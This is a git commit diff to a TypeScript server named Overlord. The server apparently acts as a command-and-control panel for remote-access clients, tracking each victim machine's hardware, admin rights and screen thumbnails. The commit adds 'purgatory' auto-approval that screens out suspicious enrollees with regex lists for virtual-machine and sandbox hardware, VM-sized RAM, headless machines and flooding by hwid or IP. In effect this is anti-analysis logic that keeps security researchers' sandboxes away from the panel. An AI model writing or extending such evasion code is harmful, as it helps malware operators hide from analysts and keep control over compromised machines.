large purgatory improvements

This commit is contained in:
KingKDot
2026-05-22 10:12:40 -05:00
parent ce5095ad61
commit eb75f1a49f
7 changed files with 430 additions and 33 deletions
+5
View File
@@ -58,6 +58,7 @@ export interface Config {
};
enrollment: {
requireApproval: boolean;
autoApproveUnlessSuspicious: boolean;
};
appearance: {
customCSS: string;
@@ -142,6 +143,7 @@ const DEFAULT_CONFIG: Config = {
},
enrollment: {
requireApproval: true,
autoApproveUnlessSuspicious: false,
},
appearance: {
customCSS: "",
@@ -510,6 +512,8 @@ export function loadConfig(): Config {
process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL !== undefined
? String(process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL).toLowerCase() === "true"
: (fileConfig.enrollment?.requireApproval ?? DEFAULT_CONFIG.enrollment.requireApproval),
autoApproveUnlessSuspicious:
fileConfig.enrollment?.autoApproveUnlessSuspicious ?? DEFAULT_CONFIG.enrollment.autoApproveUnlessSuspicious,
},
appearance: {
customCSS: fileConfig.appearance?.customCSS || DEFAULT_CONFIG.appearance.customCSS,
@@ -693,6 +697,7 @@ export async function updateEnrollmentConfig(
...current.enrollment,
...updates,
requireApproval: updates.requireApproval !== undefined ? Boolean(updates.requireApproval) : current.enrollment.requireApproval,
autoApproveUnlessSuspicious: updates.autoApproveUnlessSuspicious !== undefined ? Boolean(updates.autoApproveUnlessSuspicious) : current.enrollment.autoApproveUnlessSuspicious,
};
configCache = {
+160 -2
View File
@@ -133,6 +133,9 @@ try {
try {
db.run(`ALTER TABLE clients ADD COLUMN notifications_muted INTEGER NOT NULL DEFAULT 0`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN deny_reason TEXT`);
} catch {}
db.run(`
CREATE TABLE IF NOT EXISTS client_groups (
@@ -1011,6 +1014,155 @@ export function markAllClientsOffline() {
console.log("[db] marked all clients as offline");
}
export const SUSPICIOUS_FLOOD_THRESHOLD = Math.max(2, Number(process.env.OVERLORD_SUSPICIOUS_FLOOD_THRESHOLD || 40));
const SUSPICIOUS_IP_FLOOD_WINDOW_MS = Math.max(60_000, Number(process.env.OVERLORD_SUSPICIOUS_IP_WINDOW_MS || 300_000));
export function getFloodedHwids(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set<string> {
const rows = db
.query<{ hwid: string }>(
`SELECT hwid FROM clients WHERE hwid IS NOT NULL AND hwid != '' GROUP BY hwid HAVING COUNT(*) >= ?`,
)
.all(threshold);
return new Set(rows.map((r) => r.hwid));
}
export function getFloodedHardware(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set<string> {
const rows = db
.query<{ cpu: string; gpu: string; ram: string; os: string }>(
`SELECT cpu, gpu, ram, os FROM clients
WHERE cpu IS NOT NULL AND cpu != '' AND os IS NOT NULL AND os != ''
GROUP BY cpu, gpu, ram, os HAVING COUNT(*) >= ?`,
)
.all(threshold);
const keys = new Set<string>();
for (const r of rows) keys.add(`${r.cpu}|${r.gpu ?? ""}|${r.ram ?? ""}|${r.os}`);
return keys;
}
export function getFloodedIps(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set<string> {
const since = Date.now() - SUSPICIOUS_IP_FLOOD_WINDOW_MS;
const rows = db
.query<{ ip: string }>(
`SELECT ip FROM clients WHERE ip IS NOT NULL AND ip != '' AND last_seen > ? GROUP BY ip HAVING COUNT(*) >= ?`,
)
.all(since, threshold);
return new Set(rows.map((r) => r.ip));
}
const FLOOD_CACHE_TTL_MS = 30_000;
let _floodCacheTs = 0;
let _cachedFloodedHwids: Set<string> | null = null;
let _cachedFloodedHardware: Set<string> | null = null;
let _cachedFloodedIps: Set<string> | null = null;
function getFloodSetsWithCache(): { floodedHwids: Set<string>; floodedHardware: Set<string>; floodedIps: Set<string> } {
const now = Date.now();
if (now - _floodCacheTs > FLOOD_CACHE_TTL_MS) {
_cachedFloodedHwids = getFloodedHwids();
_cachedFloodedHardware = getFloodedHardware();
_cachedFloodedIps = getFloodedIps();
_floodCacheTs = now;
}
return { floodedHwids: _cachedFloodedHwids!, floodedHardware: _cachedFloodedHardware!, floodedIps: _cachedFloodedIps! };
}
function parseRamGb(ram: string | null | undefined): number | null {
if (!ram) return null;
const m = ram.match(/(\d+(?:\.\d+)?)\s*(tb|gb|mb|kb)/i);
if (!m) return null;
const val = parseFloat(m[1]);
const unit = m[2].toLowerCase();
if (unit === "tb") return val * 1024;
if (unit === "gb") return val;
if (unit === "mb") return val / 1024;
if (unit === "kb") return val / (1024 * 1024);
return null;
}
export type SuspiciousFlags = string[];
const VM_CPU_PATTERNS = [
/\bqemu\b/i,
/\bkvm\b/i,
/\bvmware\b/i,
/\bvirtualbox\b/i,
/virtual\s+cpu/i,
/\bhyper-v\b/i,
/\bbochs\b/i,
/\bxen\b/i,
];
const VM_GPU_PATTERNS = [
/vmware/i,
/virtualbox/i,
/\bqemu\b/i,
/microsoft\s+basic\s+(render|display)/i,
/cirrus\s+logic/i,
/standard\s+vga/i,
/\bllvmpipe\b/i,
/\bsoftpipe\b/i,
/\bqxl\b/i,
/\bvirtio\b/i,
/hyper-v\s+video/i,
/terminal\s+server/i,
/remote\s+desktop/i,
/parsec\s+display/i,
];
export function computeClientSuspiciousFlags(
client: {
id?: string;
hwid?: string | null;
cpu?: string | null;
gpu?: string | null;
ram?: string | null;
os?: string | null;
host?: string | null;
user?: string | null;
ip?: string | null;
monitors?: number | null;
},
precomputed?: {
floodedHwids?: Set<string>;
floodedHardware?: Set<string>;
floodedIps?: Set<string>;
},
): SuspiciousFlags {
const flags: string[] = [];
const allProvided = precomputed?.floodedHwids !== undefined && precomputed?.floodedHardware !== undefined && precomputed?.floodedIps !== undefined;
const sets = allProvided ? (precomputed as Required<typeof precomputed>) : getFloodSetsWithCache();
const fHwids = sets.floodedHwids;
const fHardware = sets.floodedHardware;
const fIps = sets.floodedIps;
if (client.hwid && fHwids.has(client.hwid)) flags.push("hwid_flood");
if (client.cpu && client.os) {
const hwKey = `${client.cpu}|${client.gpu ?? ""}|${client.ram ?? ""}|${client.os}`;
if (fHardware.has(hwKey)) flags.push("hw_flood");
}
if (!client.host || !client.host.trim()) flags.push("no_hostname");
if (!client.user || !client.user.trim()) flags.push("no_user");
if (client.ip && fIps.has(client.ip)) flags.push("ip_flood");
const cpuIsVm = !!client.cpu && VM_CPU_PATTERNS.some((p) => p.test(client.cpu!));
const gpuIsVm = !!client.gpu && VM_GPU_PATTERNS.some((p) => p.test(client.gpu!));
if (cpuIsVm || gpuIsVm) flags.push("vm_hardware");
const ramGb = parseRamGb(client.ram);
if (ramGb !== null && [0.25, 0.5, 1, 2, 4].some((s) => Math.abs(ramGb - s) < 0.05)) {
flags.push("vm_ram");
}
if (typeof client.monitors === "number" && client.monitors === 0) {
flags.push("no_monitors");
}
return flags;
}
export function listClients(filters: ListFilters): ListResult {
const {
page,
@@ -1141,7 +1293,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db
.query<any>(
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason
FROM clients c
LEFT JOIN client_groups g ON g.id = c.group_id
${whereSql}
@@ -1150,6 +1302,8 @@ export function listClients(filters: ListFilters): ListResult {
)
.all(...params, pageSize, offset);
const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
const items = rows.map((c: any) => ({
id: c.id,
hwid: c.hwid,
@@ -1186,8 +1340,10 @@ export function listClients(filters: ListFilters): ListResult {
groupName: c.groupName || null,
groupColor: c.groupColor || null,
notificationsMuted: c.notificationsMuted === 1,
denyReason: c.denyReason || null,
hasThumbnail: hasThumbnail(c.id),
thumbnailVersion: getThumbnailVersion(c.id),
suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
}));
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
@@ -1974,12 +2130,14 @@ export function setClientEnrollmentStatus(
id: string,
status: "approved" | "denied" | "pending",
approvedBy?: string,
denyReason?: string,
): boolean {
const result = db.run(
`UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=? WHERE id=?`,
`UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=?, deny_reason=? WHERE id=?`,
status,
status === "approved" ? Date.now() : null,
status === "approved" ? (approvedBy ?? null) : null,
status === "denied" ? (denyReason ?? null) : null,
id,
);
return ((result as any)?.changes || 0) > 0;
@@ -111,6 +111,7 @@ export async function handleEnrollmentRoutes(
const config = getConfig();
return Response.json({
requireApproval: config.enrollment?.requireApproval ?? true,
autoApproveUnlessSuspicious: config.enrollment?.autoApproveUnlessSuspicious ?? false,
});
}
@@ -123,11 +124,15 @@ export async function handleEnrollmentRoutes(
let body: any;
try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
if (typeof body?.requireApproval !== "boolean") {
return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
const updates: { requireApproval?: boolean; autoApproveUnlessSuspicious?: boolean } = {};
if (typeof body?.requireApproval === "boolean") updates.requireApproval = body.requireApproval;
if (typeof body?.autoApproveUnlessSuspicious === "boolean") updates.autoApproveUnlessSuspicious = body.autoApproveUnlessSuspicious;
if (Object.keys(updates).length === 0) {
return Response.json({ error: "No valid boolean fields provided" }, { status: 400 });
}
const updated = await updateEnrollmentConfig({ requireApproval: body.requireApproval });
const updated = await updateEnrollmentConfig(updates);
logAudit({
timestamp: Date.now(),
@@ -135,10 +140,10 @@ export async function handleEnrollmentRoutes(
ip: "server",
action: AuditAction.ENROLLMENT_SETTINGS,
success: true,
details: JSON.stringify({ requireApproval: body.requireApproval }),
details: JSON.stringify(updates),
});
return Response.json({ ok: true, requireApproval: updated.requireApproval });
return Response.json({ ok: true, requireApproval: updated.requireApproval, autoApproveUnlessSuspicious: updated.autoApproveUnlessSuspicious });
}
// POST /api/enrollment/:id/approve
@@ -200,7 +205,11 @@ export async function handleEnrollmentRoutes(
return new Response("Forbidden: Client access denied", { status: 403 });
}
setClientEnrollmentStatus(clientId, "denied");
let denyBody: any = {};
try { denyBody = await req.json(); } catch {}
const denyReason = typeof denyBody?.reason === "string" ? denyBody.reason.slice(0, 200).trim() || undefined : undefined;
setClientEnrollmentStatus(clientId, "denied", undefined, denyReason);
logAudit({
timestamp: Date.now(),
@@ -296,6 +305,7 @@ export async function handleEnrollmentRoutes(
return Response.json({ ok: true, action, updated: banned });
}
const bulkDenyReason = typeof body?.reason === "string" ? body.reason.slice(0, 200).trim() || undefined : undefined;
const status = action === "approve" ? "approved" : action === "deny" ? "denied" : "pending";
let updated = 0;
for (const id of ids) {
@@ -304,6 +314,7 @@ export async function handleEnrollmentRoutes(
id,
status as "approved" | "denied" | "pending",
action === "approve" ? user.username : undefined,
action === "deny" ? bulkDenyReason : undefined,
);
if (ok) {
updated++;
@@ -9,7 +9,8 @@ async function getGeoip() {
}
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag } from "../../db";
import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag, computeClientSuspiciousFlags } from "../../db";
import { getConfig } from "../../config";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping } from "../../protocol";
@@ -419,6 +420,33 @@ export async function handleWebSocketMessage(
}
if (enrollmentStatus === "pending") {
const enrollConfig = getConfig().enrollment;
if (!enrollConfig.requireApproval) {
let blocked = false;
if (enrollConfig.autoApproveUnlessSuspicious) {
const flags = computeClientSuspiciousFlags({
hwid: typeof (payload as any).hwid === "string" ? (payload as any).hwid : null,
cpu: typeof (payload as any).cpu === "string" ? (payload as any).cpu : null,
gpu: typeof (payload as any).gpu === "string" ? (payload as any).gpu : null,
ram: typeof (payload as any).ram === "string" ? (payload as any).ram : null,
os: typeof (payload as any).os === "string" ? (payload as any).os : null,
host: typeof (payload as any).host === "string" ? (payload as any).host : null,
user: typeof (payload as any).user === "string" ? (payload as any).user : null,
ip: ip || null,
});
if (flags.length > 0) {
blocked = true;
logger.info(`[purgatory] auto-approve blocked for ${resolvedId} — suspicious: ${flags.join(", ")}`);
}
}
if (!blocked) {
enrollmentStatus = "approved";
logger.info(`[purgatory] auto-approved ${resolvedId} (requireApproval=false)`);
}
}
if (enrollmentStatus !== "approved") {
const geoip = await getGeoip();
const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = geo?.country || (payload as any).country || "ZZ";
@@ -476,6 +504,7 @@ export async function handleWebSocketMessage(
}
setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
return;
}
}
const existingClient = clientManager.getClient(resolvedId);
+2
View File
@@ -73,6 +73,8 @@ export type ListItem = Omit<ClientInfo, 'ws'> & {
online: boolean;
hasThumbnail: boolean;
thumbnailVersion: number;
suspiciousFlags: string[];
denyReason?: string | null;
};
export type ListResult = {